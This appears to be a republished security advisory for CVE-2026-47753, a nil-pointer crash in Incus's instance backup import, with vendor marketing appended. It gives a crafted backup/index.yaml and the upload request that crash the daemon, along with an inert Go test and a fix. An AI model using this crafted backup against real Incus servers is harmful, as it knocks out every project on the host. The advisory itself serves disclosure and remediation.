Summary
Incus has a Nil-Pointer Dereference Panic via Instance Backup Import (volume omitted)
(*backend).CreateInstanceFromBackup in internal/server/storage/backend.go contains a nil-pointer dereference that an authenticated user with permission to create instances in any project can trigger remotely by uploading a crafted backup tarball. The Incus daemon panics and the process crashes, causing denial of service to every project on that cluster member.
This is a sibling of GHSA-fwj8-62r8-8p8m, GHSA-r7w7-mmxr-47r9, and GHSA-x5r6-jr56-89pv (all assigned 2026-05-04). Those patches added guards on adjacent fields of the same backup/config.Config struct; the Volume field on the instance-import path was missed.
Vulnerable code
internal/server/storage/backend.go (current main, commit 1513600):
// Lines 763-767, properly guarded:
var volumeConfig map[string]string
if srcBackup.Config != nil && srcBackup.Config.Volume != nil {
volumeConfig = srcBackup.Config.Volume.Config
}
// ... a few lines later ...
// Line 795, unguarded, dereferences Config.Volume directly:
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {
The caller createFromBackup in cmd/incusd/instances_post.go only verifies that Config and Config.Container are non-nil:
// instances_post.go:854
if bInfo.Config == nil || bInfo.Config.Container == nil {
return response.BadRequest(errors.New("Backup file is missing required information"))
}
Volume is not checked. The Volume field on internal/server/backup/config.Config has type *api.StorageVolume with yaml:"volume,omitempty", so omitting volume: from a crafted backup/index.yaml decodes to nil. The subsequent unguarded deref on line 795 panics.
The panic happens on the HTTP request goroutine; no recover() is installed by CreateInstanceFromBackup or its callers, so the Go runtime kills the entire incusd process.
Reach
- The attacker is any client authenticated to the Incus REST API (TLS client certificate, OIDC, or unix socket) with permission to create instances in at least one project. This is the most common low-trust authenticated user.
- The attacker sends
POST /1.0/instances?project=<p>withContent-Type: application/octet-stream. - The body is an uncompressed tar (the same code path also accepts squashfs / gz / zstd / xz) containing one file,
backup/index.yaml, whoseconfig:block listscontainer:andpool:but omitsvolume:. cmd/incusd/instances_post.goinstancesPost->createFromBackup-> the line 854 guard passes (Container is non-nil) ->pool.CreateInstanceFromBackup(*bInfo, backupFile, nil)->internal/server/storage/backend.go:795panics onsrcBackup.Config.Volume.Config[...].incusdprocess dies. All running operations on that cluster member are killed. Repeated requests = persistent denial of service.
Minimal crafted backup/index.yaml:
name: poc
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
config:
container:
name: poc
architecture: x86_64
type: container
pool:
name: default
driver: dir
# volume intentionally absent
Proof of concept
A self-contained Go unit test imports the real internal/server/backup/config package, decodes the crafted YAML into the actual *backupConfig.Config struct used by the daemon, and executes the literal expression from backend.go:795. The test is intentionally inert (panics are recovered and reported as the expected outcome):
// internal/poc_repro/poc_nil_deref_volume_test.go
func TestPoCNilDerefVolumeImport(t *testing.T) {
var bi pocInfo // mirrors internal/server/backup.Info, only Config is needed
loader, _ := yaml.NewLoader(strings.NewReader(evilIndex))
_ = loader.Load(&bi)
// bi.Config != nil, bi.Config.Container != nil (passes createFromBackup guard)
// bi.Config.Volume == nil (passes the line 765 guard's else branch)
defer func() { _ = recover() }()
// Literal copy of backend.go:795.
if bi.Config.Volume.Config["block.type"] == "qcow2" {
// unreachable
}
}
Result against lxc/incus@1513600 on Go 1.26.1:
=== RUN TestPoCNilDerefVolumeImport
poc_nil_deref_volume_test.go:97: yaml decoded: Container != nil (passes createFromBackup guard), Volume == nil
poc_nil_deref_volume_test.go:99: backend.go line 795 unguarded deref about to execute...
poc_nil_deref_volume_test.go:123: CONFIRMED: nil-pointer panic at the exact line as backend.go:795 => runtime error: invalid memory address or nil pointer dereference
--- PASS: TestPoCNilDerefVolumeImport (0.00s)
A tarball builder + uploader (main.go) is included in the report's PoC bundle. The tarball is 2560 bytes and contains a single 547-byte backup/index.yaml.
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus. Reporter: tonghuaroot. The reproducer test is non-destructive (no network, no filesystem mutation beyond the temp directory used by Go's test runner) and recovers the panic.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until the process is restarted by an operator or supervisor. - Privileges required: authenticated user with
can_createpermission on any project. The path is not behind the admin auth tier. - Network attack surface: the Incus REST API on
:8443(or unix socket). - CWE-476, nil pointer dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Mirror the guard already present on line 765 a few lines higher into the path that hits line 795. For example:
if srcBackup.Config == nil || srcBackup.Config.Volume == nil {
return nil, nil, errors.New("Backup config missing required volume metadata")
}
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {
Alternatively, extend the existing createFromBackup precondition in cmd/incusd/instances_post.go:854 to also reject backups missing bInfo.Config.Volume. The latter is the smaller surface change and matches the pattern of CreateBucketFromBackup (backend.go:7848):
if srcBackup.Config == nil || srcBackup.Config.Bucket == nil {
return errors.New("Valid bucket config not found in index")
}
Frequently Asked Questions
- What is CVE-2026-47753? CVE-2026-47753 is a medium-severity null pointer dereference vulnerability in github.com/lxc/incus/v7 (go), affecting versions < 7.1.0. It is fixed in 7.1.0. The application dereferences a null pointer, causing a crash.
- Which versions of github.com/lxc/incus/v7 are affected by CVE-2026-47753? github.com/lxc/incus/v7 (go) versions < 7.1.0 is affected.
- Is there a fix for CVE-2026-47753? Yes. CVE-2026-47753 is fixed in 7.1.0. Upgrade to this version or later.
- Is CVE-2026-47753 exploitable, and should I be worried? Whether CVE-2026-47753 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-47753 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-47753? Upgrade
github.com/lxc/incus/v7to 7.1.0 or later.